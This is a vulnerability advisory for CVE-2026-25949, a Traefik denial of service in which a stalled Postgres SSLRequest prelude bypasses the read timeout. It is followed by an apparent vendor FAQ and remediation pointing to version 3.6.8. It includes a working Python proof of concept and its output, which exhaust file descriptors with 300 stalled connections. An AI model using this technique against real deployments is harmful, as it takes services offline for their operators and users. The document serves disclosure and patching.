CVE-2026-25949

For more information

If you have any questions or comments about this advisory, please open an issue.

A remote, unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.

This triggers during protocol detection before routing, so it is reachable on an entrypoint even when no Postgres/TCP routers are configured (the PoC uses only an HTTP router).

Details

Traefik applies per-connection deadlines based on entryPoints.<name>.transport.respondingTimeouts.readTimeout to prevent protocol detection and request reads from blocking forever (see pkg/server/server_entrypoint_tcp.go, which sets SetReadDeadline on accepted connections).

However, in the TCP router protocol detection path (pkg/server/router/tcp/router.go), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:

• detect Postgres SSLRequest (8-byte signature),
• call conn.SetDeadline(time.Time{}) (clears all deadlines),
• then enter the Postgres STARTTLS handler (servePostgres).

The Postgres handler (pkg/server/router/tcp/postgres.go) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (clientHelloInfo(br)), but with deadlines removed. An attacker can therefore:

1. connect to any internet-exposed TCP entrypoint,
2. send the Postgres SSLRequest (SSL negotiation request),
3. receive Traefik’s single-byte response (S),
4. stop sending any further bytes.

Each such connection remains open past the configured readTimeout (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.

Of note: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.

Tested versions:

• v3.6.7
• master at commit a4a91344edcdd6276c1b766ca19ee3f0e346480f

PoC

Prerequisites:

• Linux host
• Python 3
• A prebuilt Traefik v3.6.7 binary. The script below expects the path in the script’s TRAEFIK_BIN constant (edit if needed).

Execute the script below:

#!/usr/bin/env python3
from __future__ import annotations

import os
import socket
import subprocess
import tempfile
import time
from typing import Final

# Hardcode the Traefik binary path. Edit as needed.
TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik"

HOST: Final[str] = "127.0.0.1"
PORT: Final[int] = 18080

STARTUP_SLEEP_SECS: Final[float] = 2.0
READ_TIMEOUT_SECS: Final[float] = 2.0
SLEEP_SECS: Final[float] = 3.5
N_CONNS: Final[int] = 300

POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])


def fd_count(pid: int) -> int:
    return len(os.listdir(f"/proc/{pid}/fd"))


def open_idle_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        conns.append(socket.create_connection((HOST, PORT)))
    return conns


def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        s = socket.create_connection((HOST, PORT))
        s.settimeout(1.0)
        s.sendall(POSTGRES_SSLREQUEST)
        try:
            _ = s.recv(1)  # typically b"S"
        except socket.timeout:
            pass
        conns.append(s)
    return conns


def close_all(conns: list[socket.socket]) -> None:
    for s in conns:
        try:
            s.close()
        except OSError:
            pass


def main() -> None:
    with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td:
        dyn = os.path.join(td, "dynamic.yml")
        with open(dyn, "w", encoding="utf-8") as f:
            f.write(
                f"""\
http:
  routers:
    r:
      entryPoints: [web]
      rule: "PathPrefix(`/`)"
      service: s
  services:
    s:
      loadBalancer:
        servers:
          - url: "http://{HOST}:9"
"""
            )

        proc = subprocess.Popen(
            [
                TRAEFIK_BIN,
                "--log.level=ERROR",
                f"--entryPoints.web.address=:{PORT}",
                f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s",
                f"--providers.file.filename={dyn}",
                "--providers.file.watch=false",
            ],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.STDOUT,
        )
        try:
            time.sleep(STARTUP_SLEEP_SECS)

            pid = proc.pid
            if pid is None:
                raise RuntimeError("Traefik PID is None")

            ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip()
            print(ver)
            print(f"Traefik={TRAEFIK_BIN}")
            print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s")

            base = fd_count(pid)
            print(f"traefik_pid={pid} fd_base={base}")

            idle = open_idle_conns(N_CONNS)
            fd_after_open_idle = fd_count(pid)
            print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_idle = fd_count(pid)
            print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}")
            close_all(idle)

            pg = open_postgres_sslrequest_conns(N_CONNS)
            fd_after_open_pg = fd_count(pid)
            print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_pg = fd_count(pid)
            print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}")
            close_all(pg)

            if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2):
                print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.")
            else:
                print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.")
        finally:
            proc.terminate()
            try:
                proc.wait(timeout=3.0)
            except subprocess.TimeoutExpired:
                proc.kill()
                proc.wait(timeout=3.0)


if __name__ == "__main__":
    main()

Version:      3.6.7
Codename:     ramequin
Go version:   go1.24.11
Built:        2026-01-14T14:04:03Z
OS/Arch:      linux/amd64
Traefik=/usr/local/sbin/traefik
Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s
traefik_pid=46204 fd_base=6
baseline_opened=300 fd_after_open=128 delta=122
baseline_after_sleep fd=6 delta_from_base=0
candidate_opened=300 fd_after_open=306 delta=300
candidate_after_sleep fd=306 delta_from_base=300
VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.

Impact

Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a readTimeout is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.

There is a potential vulnerability in Traefik managing STARTTLS requests.

An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-25949 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.6.8); upgrading removes the vulnerable code path.

Kodem intelligence

• https://github.com/traefik/traefik/releases/tag/v3.6.8

1. What is CVE-2026-25949? CVE-2026-25949 is a high-severity uncontrolled resource consumption vulnerability in github.com/traefik/traefik/v3 (go), affecting versions <= 3.6.7. It is fixed in 3.6.8. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-25949? CVE-2026-25949 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/traefik/traefik/v3 are affected by CVE-2026-25949? github.com/traefik/traefik/v3 (go) versions <= 3.6.7 is affected.
4. Is there a fix for CVE-2026-25949? Yes. CVE-2026-25949 is fixed in 3.6.8. Upgrade to this version or later.
5. Is CVE-2026-25949 exploitable, and should I be worried? Whether CVE-2026-25949 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25949 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25949? Upgrade github.com/traefik/traefik/v3 to 3.6.8 or later.